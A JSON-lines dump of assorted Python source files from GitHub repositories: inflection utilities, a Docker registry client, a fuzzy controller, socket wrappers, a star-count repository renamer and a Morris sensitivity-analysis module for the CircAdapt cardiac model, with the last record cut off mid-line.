+{"seq_id":"37623601925","text":"import re\n\ndef pluralize(word):\n    '''Pluralizes English nouns.'''\n    \n    rules = [\n        ['(?i)(quiz)$' , '\\\\1zes'],\n        ['^(?i)(ox)$' , '\\\\1en'],\n        ['(?i)([m|l])ouse$' , '\\\\1ice'],\n        ['(?i)(matr|vert|ind)ix|ex$' , '\\\\1ices'],\n        ['(?i)(x|ch|ss|sh)$' , '\\\\1es'],\n        ['(?i)([^aeiouy]|qu)ies$' , '\\\\1y'],\n        ['(?i)([^aeiouy]|qu)y$' , '\\\\1ies'],\n        ['(?i)(hive)$' , '\\\\1s'],\n        ['(?i)(?:([^f])fe|([lr])f)$' , '\\\\1\\\\2ves'],\n        ['(?i)sis$' , 'ses'],\n        ['(?i)([ti])um$' , '\\\\1a'],\n        ['(?i)(buffal|tomat)o$' , '\\\\1oes'],\n        ['(?i)(bu)s$' , '\\\\1ses'],\n        ['(?i)(alias|status)' , '\\\\1es'],\n        ['(?i)(octop|vir)us$' , '\\\\1i'],\n        ['(?i)(ax|test)is$' , '\\\\1es'],\n        ['(?i)s$' , 's'],\n        ['(?i)$' , 's']\n    ]\n    \n    uncountable_words = ['equipment', 'information', 'rice', 'money', 'species', 'series', 'fish', 'sheep']\n    \n    irregular_words = {\n        'person' : 'people',\n        'man' : 'men',\n        'child' : 'children',\n        'sex' : 'sexes',\n        'move' : 'moves'\n    }\n    \n    lower_cased_word = word.lower();\n    \n    for uncountable_word in uncountable_words:\n        if lower_cased_word[-1*len(uncountable_word):] == uncountable_word :\n            return word\n    \n    for irregular in irregular_words.keys():\n        match = re.search('('+irregular+')$',word, re.IGNORECASE)\n        if match:\n            return re.sub('(?i)'+irregular+'$', match.expand('\\\\1')[0]+irregular_words[irregular][1:], word)\n    \n    for rule in range(len(rules)):\n        match = re.search(rules[rule][0], word, re.IGNORECASE)\n        if match :\n            groups = match.groups()\n            for k in range(0,len(groups)) :\n                if groups[k] == None :\n                    rules[rule][1] = rules[rule][1].replace('\\\\'+str(k+1), '')\n                    \n            return re.sub(rules[rule][0], rules[rule][1], word)\n    \n    return word\n\n\ndef singularize(word):\n    '''\n    Convert `word' to its singular form.\n    '''\n    \n    rules = [\n        ['(?i)(quiz)zes$' , '\\\\1'],\n        ['(?i)(matr)ices$' , '\\\\1ix'],\n        ['(?i)(vert|ind)ices$' , '\\\\1ex'],\n        ['(?i)^(ox)en' , '\\\\1'],\n        ['(?i)(alias|status)es$' , '\\\\1'],\n        ['(?i)([octop|vir])i$' , '\\\\1us'],\n        ['(?i)(cris|ax|test)es$' , '\\\\1is'],\n        ['(?i)(shoe)s$' , '\\\\1'],\n        ['(?i)(o)es$' , '\\\\1'],\n        ['(?i)(bus)es$' , '\\\\1'],\n        ['(?i)([m|l])ice$' , '\\\\1ouse'],\n        ['(?i)(x|ch|ss|sh)es$' , '\\\\1'],\n        ['(?i)(m)ovies$' , '\\\\1ovie'],\n        ['(?i)(s)eries$' , '\\\\1eries'],\n        ['(?i)([^aeiouy]|qu)ies$' , '\\\\1y'],\n        ['(?i)([lr])ves$' , '\\\\1f'],\n        ['(?i)(tive)s$' , '\\\\1'],\n        ['(?i)(hive)s$' , '\\\\1'],\n        ['(?i)([^f])ves$' , '\\\\1fe'],\n        ['(?i)(^analy)ses$' , '\\\\1sis'],\n        ['(?i)((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)ses$' , '\\\\1\\\\2sis'],\n        ['(?i)([ti])a$' , '\\\\1um'],\n        ['(?i)(n)ews$' , '\\\\1ews'],\n        ['(?i)s$' , ''],\n    ];\n\n    uncountable_words = ['equipment', 'information', 'rice', 'money', 'species', 'series', 'fish', 'sheep','sms'];\n\n    irregular_words = {\n        'people'    : 'person',\n        'men'       : 'man',\n        'children'  : 'child',\n        'sexes'     : 'sex',\n        'moves'     : 'move'\n    }\n\n    lower_cased_word = word.lower();\n\n    for uncountable_word in uncountable_words:\n        if lower_cased_word[-1*len(uncountable_word):] == uncountable_word :\n            return word\n        \n    for irregular in irregular_words.keys():\n        match = re.search('('+irregular+')$',word, re.IGNORECASE)\n        if match:\n            return re.sub('(?i)'+irregular+'$', match.expand('\\\\1')[0]+irregular_words[irregular][1:], word)\n        \n    for rule in range(len(rules)):\n        match = re.search(rules[rule][0], word, re.IGNORECASE)\n        if match :\n            groups = match.groups()\n            for k in range(0,len(groups)) :\n                if groups[k] == None :\n                    rules[rule][1] = rules[rule][1].replace('\\\\'+str(k+1), '')\n                    \n            return re.sub(rules[rule][0], rules[rule][1], word)\n    \n    return word\n\ndef conditionalPlural(numer_of_records, word) :\n    '''Returns the plural form of a word if first parameter is greater than 1'''\n    \n    if numer_of_records > 1 :\n        return pluralize(word)\n    else :\n        return word\n\ndef titleize(word, uppercase = '') :\n    '''Converts an underscored or CamelCase word into a English sentence.\n        The titleize function converts text like \"WelcomePage\",\n        \"welcome_page\" or  \"welcome page\" to this \"Welcome Page\".\n        If second parameter is set to 'first' it will only\n        capitalize the first character of the title.'''\n\n    if(uppercase == 'first'):\n        return humanize(underscore(word)).capitalize()\n    else :\n        return humanize(underscore(word)).title()\n\ndef camelize(word):\n    ''' Returns given word as CamelCased\n    Converts a word like \"send_email\" to \"SendEmail\". It\n    will remove non alphanumeric character from the word, so\n    \"who's online\" will be converted to \"WhoSOnline\"'''\n    return ''.join(w[0].upper() + w[1:] for w in re.sub('[^A-Z^a-z^0-9^:]+', ' ', word).split(' '))\n\ndef underscore(word) :\n    ''' Converts a word \"into_it_s_underscored_version\"\n    Convert any \"CamelCased\" or \"ordinary Word\" into an\n    \"underscored_word\".\n    This can be really useful for creating friendly URLs.'''\n    \n    return  re.sub('[^A-Z^a-z^0-9^\\/]+','_', \\\n            re.sub('([a-z\\d])([A-Z])','\\\\1_\\\\2', \\\n            re.sub('([A-Z]+)([A-Z][a-z])','\\\\1_\\\\2', re.sub('::', '/',word)))).lower()\n\ndef dasherize(word, reverse=False):\n    \"\"\"\n    Converts hyphens to underscores.\n    \"\"\"\n    replacements = ['-', '_']\n    if reverse:\n        replace.reverse()\n    return word.replace(*replacements)\n\ndef humanize(word, uppercase = '') :\n    '''Returns a human-readable string from word\n    Returns a human-readable string from word, by replacing\n    underscores with a space, and by upper-casing the initial\n    character by default.\n    If you need to uppercase all the words you just have to\n    pass 'all' as a second parameter.'''\n    \n    if(uppercase == 'first'):\n        return re.sub('_id$', '', word).replace('_',' ').capitalize()\n    else :\n        return re.sub('_id$', '', word).replace('_',' ').title()\n\ndef variablize(word) :\n    '''Same as camelize but first char is lowercased\n    Converts a word like \"send_email\" to \"sendEmail\". It\n    will remove non alphanumeric character from the word, so\n    \"who's online\" will be converted to \"whoSOnline\"'''\n    word = camelize(word)\n    return word[0].lower()+word[1:]\n\ndef ordinalize(number) :\n    '''Converts number to its ordinal English form.\n    This method converts 13 to 13th, 2 to 2nd ...'''\n    tail = 'th'\n    if number % 100 == 11 or number % 100 == 12 or number % 100 == 13:\n        tail = 'th'\n    elif number % 10 == 1 :\n        tail = 'st'\n    elif number % 10 == 2 :\n        tail = 'nd'\n    elif number % 10 == 3 :\n        tail = 'rd'\n    \n    return str(number)+tail\n\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software to deal in this software without restriction, including\n# without limitation the rights to use, copy, modify, merge, publish,\n# distribute, sublicense, and/or sell copies of this software, and to permit\n# persons to whom this software is furnished to do so, subject to the following\n# condition:\n#\n# THIS SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THIS SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THIS SOFTWARE.","repo_name":"hyperthunk/commons","sub_path":"commons/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":7965,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"2722299234","text":"import requests\nimport json\n\n############  props\nauth = ('user', 'password')\n\ndef catalogo(repo_url):\n    url = f\"{repo_url}/v2/_catalog\"\n    response = requests.get(url, auth=auth)\n    return response.json()['repositories']\n\ndef traerTags(repo_url, img):\n    url = f\"{repo_url}/v2/{img}/tags/list\"\n    response = requests.get(url, auth=auth)\n    return response.json()    \n\ndef traerManifiesto(repo_url, img, tag):\n    url = f\"{repo_url}/v2/{img}/manifests/{tag}\"\n    headers = {\"Accept\": \"application/vnd.docker.distribution.manifest.v2+json\"}\n    header = requests.get(url, auth=auth, headers=headers)\n    return header\n\ndef borrarManifiesto(repo_url, img, sha):\n    url = f\"{repo_url}/v2/{img}/manifests/{sha}\"\n    headers = {\"Accept\": \"application/vnd.docker.distribution.manifest.v2+json\"}\n    response = requests.delete(url, auth=auth, headers=headers)\n    return response","repo_name":"uyzaito/docker_registry_cleaner","sub_path":"dockerV2.py","file_name":"dockerV2.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15285602694","text":"import time, sys\nfrom ctypes import * \nfrom os.path import dirname\nsys.path.append(dirname(__file__) + '/../..')\n\nfuzzy_alt_controller = cdll.LoadLibrary(dirname(__file__) + \"/../../build/controller/altitude/libaltitude_fuzzy_controller.so\")  \n\n\nclass FuzzyController:\n    def __init__(self):\n        self.error_scaled = 0\n        self.error_scale = 1\n        self.error_last = 0\n        self.error_dot = 0\n        self.error_dot_scale = 1\n        self.error_dot_scaled = 0\n        self.out_scale = 1\n        self.out = 0\n        self.out_scaled = 0\n        self.last_time = 0\n        self.out_base = 0\n        self.out_signal = 0\n        pass\n\n    def update(self, error):\n        self.error_scaled = error * self.error_scale\n\n        now = time.time()\n        if(self.last_time==0):\n            self.last_time = now\n        delta_time = now - self.last_time\n        self.last_time = now\n\n        if delta_time > 0:\n            self.error_dot = (error - self.error_last) / delta_time\n\n        self.error_last = error\n        self.error_dot_scaled = self.error_dot * self.error_dot_scale\n        self.out = fuzzy_alt_controller.alt_ctrl(c_double(self.error_scaled), c_double(self.error_dot_scaled)) / -1000.0\n        self.out_scaled =  self.out * self.out_scale\n        self.out_signal = self.out_base + self.out_scaled\n\n        return self.out_scaled","repo_name":"snst/flight_fuzzy_controller","sub_path":"controller/altitude/FuzzyController.py","file_name":"FuzzyController.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37126054148","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport unittest\nfrom flatten import Flatten\n\n\nclass TestFlatten(unittest.TestCase):\n\n    def test_flatten_01(self):\n        f = Flatten()\n        res = f.flatten([1, 2, [4, 5]])\n        self.assertEqual(res, [1, 2, 4, 5])\n\n    def test_flatten_02(self):\n        f = Flatten()\n        res = f.flatten([1, 2, [4, 5], 6, [7, 8, [[9]]]])\n        self.assertEqual(res, [1, 2, 4, 5, 6, 7, 8, 9])\n\n\nif __name__ == '__main__':\n    unittest.main()","repo_name":"modiboa/intercom-test","sub_path":"flat/flatten_test.py","file_name":"flatten_test.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39221386692","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('pub', '0003_auto_20180522_0925'),\n    ]\n\n    operations = [\n        migrations.RenameField(\n            model_name='jud_emp',\n            old_name='jud_emp',\n            new_name='emp_id',\n        ),\n        migrations.AlterUniqueTogether(\n            name='jud_emp',\n            unique_together=set([('jud_id', 'emp_id')]),\n        ),\n    ]\n","repo_name":"AshameL/icbc_grade","sub_path":"pub/migrations/0004_auto_20180522_1440.py","file_name":"0004_auto_20180522_1440.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3468653275","text":"import logging\nimport socket\nfrom typing import Optional, Tuple\nfrom spinn_utilities.log import FormatAdapter\nfrom spinnman.exceptions import SpinnmanIOException, SpinnmanTimeoutException\n\nlogger = FormatAdapter(logging.getLogger(__name__))\n\n\ndef get_udp_socket() -> socket.socket:\n    \"\"\"\n    Wrapper round socket() system call to produce UDP/IPv4 sockets.\n    \"\"\"\n    try:\n        # Create a UDP Socket\n        return socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    except Exception as e:  # pylint: disable=broad-except\n        raise SpinnmanIOException(\n            f\"Error setting up socket: {e}\") from e\n\n\ndef get_tcp_socket() -> socket.socket:\n    \"\"\"\n    Wrapper round socket() system call to produce TCP/IPv4 sockets.\n\n    .. note::\n        TCP sockets cannot be used to talk to a SpiNNaker board.\n    \"\"\"\n    try:\n        # Create a UDP Socket\n        return socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    except Exception as e:  # pylint: disable=broad-except\n        raise SpinnmanIOException(\n            f\"Error setting up socket: {e}\") from e\n\n\n# pylint: disable=wrong-spelling-in-docstring\ndef set_receive_buffer_size(sock: socket.socket, size: int):\n    \"\"\"\n    Wrapper round setsockopt() system call.\n    \"\"\"\n    try:\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, size)\n    except Exception:  # pylint: disable=broad-except\n        # The OS said no, but we might still be able to work right with\n        # the defaults. Just warn and hope...\n        logger.warning(\"failed to configure UDP socket to have a large \"\n                       \"receive buffer\", exc_info=True)\n\n\ndef bind_socket(sock: socket.socket, host: str, port: int):\n    \"\"\"\n    Wrapper round bind() system call.\n    \"\"\"\n    try:\n        # Bind the socket\n        sock.bind((str(host), int(port)))\n    except Exception as e:  # pylint: disable=broad-except\n        raise SpinnmanIOException(\n            f\"Error binding socket to {host}:{port}: {e}\") from e\n\n\ndef resolve_host(host: str) -> str:\n    \"\"\"\n    Wrapper round gethostbyname() system call.\n    \"\"\"\n    try:\n        return socket.gethostbyname(host)\n    except Exception as e:  # pylint: disable=broad-except\n        raise SpinnmanIOException(\n            f\"Error getting IP address for {host}: {e}\") from e\n\n\ndef connect_socket(sock: socket.socket, remote_address: str, remote_port: int):\n    \"\"\"\n    Wrapper round connect() system call.\n    \"\"\"\n    try:\n        sock.connect((str(remote_address), int(remote_port)))\n    except Exception as e:  # pylint: disable=broad-except\n        raise SpinnmanIOException(\n            f\"Error connecting to {remote_address}:{remote_port}: {e}\") from e\n\n\ndef get_socket_address(sock: socket.socket) -> Tuple[str, int]:\n    \"\"\"\n    Wrapper round getsockname() system call.\n    \"\"\"\n    try:\n        addr, port = sock.getsockname()\n        # Ensure that a standard address is used for the INADDR_ANY\n        # hostname\n        if addr is None or addr == \"\":\n            addr = \"0.0.0.0\"\n        return addr, port\n    except Exception as e:  # pylint: disable=broad-except\n        raise SpinnmanIOException(f\"Error querying socket: {e}\") from e\n\n\ndef receive_message(\n        sock: socket.socket, timeout: Optional[float], size: int) -> bytes:\n    \"\"\"\n    Wrapper round recv() system call.\n    \"\"\"\n    try:\n        sock.settimeout(timeout)\n        return sock.recv(size)\n    except socket.timeout as e:\n        raise SpinnmanTimeoutException(\"receive\", timeout) from e\n    except Exception as e:  # pylint: disable=broad-except\n        raise SpinnmanIOException(f\"Error receiving: {e}\") from e\n\n\ndef receive_message_and_address(\n        sock: socket.socket, timeout: Optional[float], size: int) -> Tuple[\n            bytes, Tuple[str, int]]:\n    \"\"\"\n    Wrapper round recvfrom() system call.\n    \"\"\"\n    try:\n        sock.settimeout(timeout)\n        return sock.recvfrom(size)\n    except socket.timeout as e:\n        raise SpinnmanTimeoutException(\"receive\", timeout) from e\n    except Exception as e:  # pylint: disable=broad-except\n        raise SpinnmanIOException(f\"Error receiving: {e}\") from e\n\n\ndef send_message(sock: socket.socket, data: bytes):\n    \"\"\"\n    Wrapper round send() system call.\n    \"\"\"\n    try:\n        return sock.send(data)\n    except Exception as e:  # pylint: disable=broad-except\n        raise SpinnmanIOException(f\"Error sending: {e}\") from e\n\n\ndef send_message_to_address(\n        sock: socket.socket, data: bytes, address: Tuple[str, int]):\n    \"\"\"\n    Wrapper round sendto() system call.\n    \"\"\"\n    try:\n        return sock.sendto(data, address)\n    except Exception as e:  # pylint: disable=broad-except\n        raise SpinnmanIOException(f\"Error sending: {e}\") from e\n","repo_name":"SpiNNakerManchester/SpiNNMan","sub_path":"spinnman/utilities/socket_utils.py","file_name":"socket_utils.py","file_ext":"py","file_size_in_byte":4706,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"6720451531","text":"# Idea from: https://github.com/RealPeha/\n\nimport os\nimport sys\nimport logging\nimport requests\nfrom time import sleep\nfrom github import Github as PyGithub\n\nlogging.basicConfig(level=logging.INFO, format=f\"[\\x1b[38;5;199mGithub\\x1b[0m] \\x1b[38;5;199m->\\x1b[0m %(message)s\")\n\nif sys.platform == \"linux\":\n    clear = lambda: os.system(\"clear\")\nelse:\n    clear = lambda: os.system(\"cls\")\n\nCheck_Interval = 60\nMilestone_Step = 500\nRepository_ID = \"REPO_ID\"\nAccess_Token = \"ACCESS_TOKEN\"\n\ngithub = PyGithub(Access_Token)\n\nheaders = {\n\t\"Authorization\": f\"token {Access_Token}\"\n}\n\nmilestones = [\n    \":broken_heart:\",\n    \":heart:\",\n    \":orange_heart:\",\n    \":purple_heart:\",\n    \":yellow_heart:\",\n    \":heartpulse:\",\n    \":sparkling_heart:\",\n    \":gift_heart:\",\n    \":heartbeat:\",\n    \":two_hearts:\",\n    \":revolving_hearts:\"\n]\n\ndef Milestone_Emoji(stars: int):\n\tMilestone_Index = round(stars / 500)\n\treturn milestones[Milestone_Index]\n\ndef Get_Repo_Stars():\n\ttry:\n\t\tr = requests.get(f\"https://api.github.com/repositories/{Repository_ID}\", headers=headers)\n\t\treturn r.json()[\"stargazers_count\"]\n\texcept:\n\t\treturn False\n\ndef Rename_Repo(json):\n\ttry:\n\t\tr = requests.patch(f\"https://api.github.com/repositories/{Repository_ID}\", headers=headers, json=json)\n\t\tif \"id\" in r.text:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\texcept:\n\t\treturn False\n\ndef Get_Stargazers():\n\ttry:\n\t\tstargazers = []\n\t\tr = requests.get(f\"https://api.github.com/repositories/{Repository_ID}/stargazers\", headers=headers)\n\t\tfor user in r.json():\n\t\t\tstargazers.append(user[\"login\"])\n\t\tif stargazers == []:\n\t\t\treturn [\"No stargazers...\"]\n\t\treturn stargazers\n\texcept Exception as error:\n\t\tlogging.info(f\"Unknown Error \\x1b[38;5;199m->\\x1b[0m {error}\")\n\t\treturn False\n\t\t\ndef Get_Forks():\n\ttry:\n\t\tforks = []\n\t\tr = requests.get(f\"https://api.github.com/repositories/{Repository_ID}/forks\", headers=headers)\n\t\tfor user in r.json():\n\t\t\tforks.append(user[\"owner\"][\"login\"])\n\t\tif forks == []:\n\t\t\treturn [\"No forks...\"]\n\t\telse:\n\t\t\treturn forks\n\texcept Exception as error:\n\t\tlogging.info(f\"Unknown Error \\x1b[38;5;199m->\\x1b[0m {error}\")\n\t\treturn False\n\ndef Update_Readme():\n\ttry:\n\t\tcontent = \"# Information\\n`If you would like to be on this repo's readme`</br>`simply fork or star it!`</br>\\n\"\n\t\tcontent += \"# Forks\\n\"\n\t\tcount = 1\n\t\tfor user in Get_Forks():\n\t\t\tcontent += f\"`{count}` - `{user}`</br>\"\n\t\t\tcount += 1\n\t\tcontent += \"\\n# Stargazers\\n\"\n\t\tcount = 1\n\t\tfor user in Get_Stargazers():\n\t\t\tcontent += f\"`{count}` - `{user}`</br>\"\n\t\t\tcount += 1\n\n\t\tstars = Get_Repo_Stars()\n\t\trepo = github.get_user().get_repo(f\"This-Repo-Has-{stars}-Stars\")\n\t\tfile = repo.get_contents(\"README.md\")\n\t\trepo.update_file(\"README.md\", \"Update README.md\", content, file.sha)\n\t\treturn True\n\texcept Exception as error:\n\t\tlogging.info(f\"Unknown Error \\x1b[38;5;199m->\\x1b[0m {error}\")\n\t\treturn False\n\ndef Task():\n\ttry:\n\t\tlogging.info(\"Started task!\")\n\t\twhile True:\n\t\t\tstars = Get_Repo_Stars()\n\t\t\tif stars != False:\n\t\t\t\trename = Rename_Repo({\n\t\t\t\t\t\"name\": f\"This-Repo-Has-{stars}-Stars\",\n\t\t\t\t\t\"description\": f\"Yes it's true {Milestone_Emoji(stars)}\"\n\t\t\t\t})\n\t\t\t\tif rename != False:\n\t\t\t\t\tlogging.info(f\"Renamed repo, stars count is now \\x1b[38;5;199m@\\x1b[0m {stars}\")\n\t\t\t\telse:\n\t\t\t\t\tlogging.info(f\"Failed to rename repo, stars count is now \\x1b[38;5;199m@\\x1b[0m {stars}\")\n\n\t\t\t\tupdate = Update_Readme()\n\t\t\t\tif update != False:\n\t\t\t\t\tlogging.info(f\"Updated file \\x1b[38;5;199m->\\x1b[0m README.md\")\n\t\t\t\telse:\n\t\t\t\t\tlogging.info(f\"Failed to update file \\x1b[38;5;199m->\\x1b[0m README.md\")\n\t\t\telse:\n\t\t\t\tlogging.info(f\"Failed to fetch stars!\")\n\n\t\t\tlogging.info(f\"Now waiting {Check_Interval} seconds!\")\n\t\t\tsleep(Check_Interval)\n\texcept Exception as error:\n\t\tlogging.info(f\"Unknown Error \\x1b[38;5;199m->\\x1b[0m {error}\")\n\nif __name__ == \"__main__\":\n\tclear()\n\tTask()\n","repo_name":"dropout1337/This-Repo-Has-null-Stars","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3784,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"22"}
+{"seq_id":"37303354821","text":"import os\nimport sys\n\nimport json\n\nimport numpy as np\nimport pandas as pd\n\nfrom itertools import combinations\nimport random\n\nimport matplotlib.gridspec as grsp\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom SALib.sample import morris as ms\nfrom SALib.analyze import morris as ma\nfrom scipy.special import binom\nimport timeit\nimport torch\n\nfrom gpytGPE.utils.design import lhd\nfrom gpytGPE.utils.design import read_labels\n\nfrom GSA_library.file_utils import read_json, write_json\n\nSEED=8\n\ndef morris_sample_circadapt(num_levels=4,\n\t\t\t\t\t\t\tnum_trajectories=4,\n\t\t\t\t\t\t\trange_int=0.2,\n\t\t\t\t\t\t\tbasefolder='./test'):\n\n\t\"\"\"\n\tGenerate a Morris sample for the CircAdapt model. This generates \n\tone json file per parameter combination to input to the CircAdapt\n\tODEs solver in CARP.\n\n\tArgs:\n\t\t- num_levels: number of levels in the Morris sampling\n\t\t- num_trajectories: how many trajectories to generate\n\t\t- range_int: percentage range to change the parameters (default+/-range*default)\n\t\t- basefolder: folder containing the json/default.json and json/params_name.txt,\n\t\t\t\t\t  data/xlabels.txt\n\n\t\"\"\"\n\n\tif not os.path.exists(basefolder+'/json/default.json'):\n\t\traise Exception(\"You need to have a json folder in basefolder, containing a default.json file.\")\n\n\tfilename=basefolder+'/json/default.json'\n\tp = read_json(filename)\n\n\tif not os.path.exists(basefolder+'/json/params_name.txt'):\n\t\traise Exception(\"You need to have a json folder in basefolder, containing a params_name.txt to specify which parameters you want to change.\")\n\n\tparams_name = read_labels(basefolder+'/json/params_name.txt')\n\n\tdefault_ = [p[key] for key in params_name]\n\tR = np.zeros((len(default_),2))\n\tfor i,pp in enumerate(default_):\n\t\tif params_name[i] == 'VV delay [s]':\n\t\t\tR[i,:] = np.array([-0.02,0.02])\n\t\telse:\n\t\t\tR[i,:] = np.array([pp*(1.-range_int),pp*(1.+range_int)])\n\n\tN = 1000 # number of trajectories to generate and then take the optimal ones\n\tlocal_optimization = True\n\n\tif not os.path.exists(basefolder+'/data/xlabels.txt'):\n\t\traise Exception(\"You need to have a data folder in basefolder, containing an xlabels.txt file.\")\n\n\tindex_i = read_labels(basefolder + '/data/xlabels.txt')\n\tindex_ij = ['({}, {})'.format(c[0], c[1]) for c in combinations(index_i, 2)]\n\n\tD = len(params_name)\n\tproblem = {\n\t\t'num_vars': D,\n\t\t'names': index_i,\n\t\t'bounds': R.tolist()\n\t}\n\n\tH = ms.sample(problem, N, num_levels=num_levels, \n\t\t\t\t\t\t\t  optimal_trajectories=num_trajectories, \n\t\t\t\t\t\t\t  local_optimization=True, \n\t\t\t\t\t\t\t  seed=SEED) \n\tn_samples = np.size(H[:,0])\n\tfor i in range(n_samples):\n\t\tp_temp = p\n\t\tfor j in range(len(default_)):\n\t\t\tif params_name[j] == 'Mean systemic flow at rest [m3/s]':\n\t\t\t\tp_temp['Mean systemic flow at rest [m3/s]'] = int(H[i,j]*1e07)*1e-07\n\t\t\telse:\n\t\t\t\tp_temp[params_name[j]] = round(H[i,j],3)\n\t\tp_temp['RV max isometric stress [Pa]'] = p_temp['LV max isometric stress [Pa]']\n\t\tp_temp['RA max isometric stress [Pa]'] = p_temp['LA max isometric stress [Pa]']\n\t\tp_temp['RV passive stress [Pa]'] = p_temp['LV passive stress [Pa]']\n\t\tp_temp['RA passive stress [Pa]'] = p_temp['LA passive stress [Pa]']\n\t\twrite_json(p_temp,basefolder+'/json/'+str(i+1)+'.json')\n\n\tproblem['num_levels'] = num_levels\n\tproblem['optimal_trajectories'] = num_trajectories\n\tproblem_j = json.dumps(problem)\n\tf = open(basefolder+'/data/Morris_problem.json','w')\n\tf.write(problem_j)\n\tf.close()\n\n\tnp.savetxt(basefolder+'/data/X.txt', H, fmt='%.4f')\t\n\ndef morris_gsa_circadapt(idx_feature=0,\n\t\t\t\t\t     chamber='LV',\n\t\t\t\t\t     basefolder='./examples/circadapt'):\n\n\t\"\"\"\n\tTo run a Morris sensitivity analysis given a specific feature.\n\n\tArgs:\n\t\t- idx_feature: which feature to run the analysis for\n\t\t- chamber: which chamber (LV,RV,LA,RA)\n\t\t- basefolder: folder where to save and find data/X.txt,\n\t\t\t\t\t  chamber_output.txt\n\n\t\"\"\"\n\n\tpath = basefolder+'/morris_gsa/' + chamber + '/' \n\t#========================\n\t# define sample\n\t#========================\n\tstart_time = timeit.default_timer()\n\tif (chamber == 'LV') or (chamber == 'RV'):\n\t\tlabels_name = 'ylabels_v.txt'\n\telif (chamber == 'LA') or (chamber == 'RA'):\n\t\tlabels_name = 'ylabels_a.txt'\n\n\tfiles_to_check = [basefolder+\"/data/\"+labels_name,\n\t\t\t\t\t  basefolder+\"/data/X.txt\",\n\t\t\t\t\t  basefolder+'/data/'+chamber+'_output.txt',\n\t\t\t\t\t  basefolder+'/data/Morris_problem.json']\n\n\tfor f in files_to_check:\n\t\tif not os.path.exists(f):\n\t\t\traise Exception(\"Cannot find file \"+f+\".\")\n\n\tX = np.loadtxt(basefolder+'/data/X.txt', dtype='f', delimiter=' ')\n\n\tY = np.loadtxt(basefolder+'/data/'+chamber+'_output.txt', dtype='f', delimiter=' ')\n\n\tf = open(basefolder+'/data/Morris_problem.json')\n\tproblem_j = json.load(f)\n\n\tproblem = {\n\t\t'num_vars': problem_j['num_vars'],\n\t\t'names': problem_j['names'],\n\t\t'bounds': np.array(problem_j['bounds'])\n\t}\n\tnum_params = problem_j['num_vars']\n\tnum_levels = problem_j['num_levels']\n\tnum_trajectories = problem_j['optimal_trajectories']\n\tn_samples = (num_params+1)*num_trajectories\n\n\tprint(num_params)\n\tprint(num_trajectories)\n\tprint(Y.shape)\n\tprint(n_samples)\n\n\t# remove outputs and inputs with crashed simulations\n\tsim_crash = []\n\tfor i in range(n_samples):\n\t\tif np.sum(Y[i,:]) == 0:\n\t\t\tsim_crash.append(i)\n\tn_samples_filt = n_samples-len(sim_crash)\n\tprint(str(n_samples-n_samples_filt)+'/'+str(n_samples)+' crashed...')\n\t\n\tif len(sim_crash)>0:\n\t\tind_remove = []\n\t\tfor i in range(len(sim_crash)):\n\t\t\tfor d in range(num_trajectories):\n\t\t\t\tinterval = [d*num_params+d,(d+1)*num_params+d]\n\t\t\t\tif (sim_crash[i]>=interval[0]) and (sim_crash[i]<=interval[1]):\n\t\t\t\t\tind_remove.append(list(range(interval[0],interval[1]+1)))\n\t\tind_remove_ = []\n\t\tfor i in range(len(ind_remove)):\n\t\t\tfor j in range(len(ind_remove[i])):\n\t\t\t\tif ind_remove[i][j] not in ind_remove_:\n\t\t\t\t\tind_remove_.append(ind_remove[i][j])\n\t\tind_ok = []\t\n\t\tfor i in range(n_samples):\n\t\t\tif i not in ind_remove:\n\t\t\t\tind_ok.append(i)\n\t\tN = n_samples-len(ind_remove_)\n\t\tX_filt = X[ind_ok,:]\n\t\tY_filt = Y[ind_ok,int(idx_feature)]\n\telse:\n\t\tN = n_samples\n\t\tX_filt = X\n\t\tY_filt = Y[:,int(idx_feature)]\n\tprint('Using '+str(N)+' simulations /'+str(n_samples_filt)+'...')\n\n\tcmd = 'mkdir -p '+path\n\tos.system(cmd)\n\t\n    #=======================================\n\tmu =  np.zeros((1, N), dtype=float)\n\tmu_star =  np.zeros((1, N), dtype=float)\n\tsigma =  np.zeros((1, N), dtype=float)\n\tmu_star_conf =  np.zeros((1, N), dtype=float)\n\n\tS = ma.analyze(problem, X_filt, Y_filt, num_resamples=1000, conf_level=0.95, num_levels=num_levels, seed=SEED)\n\tmu = np.array(S['mu'])\n\tmu_star = np.array(S['mu_star'])\n\tsigma = 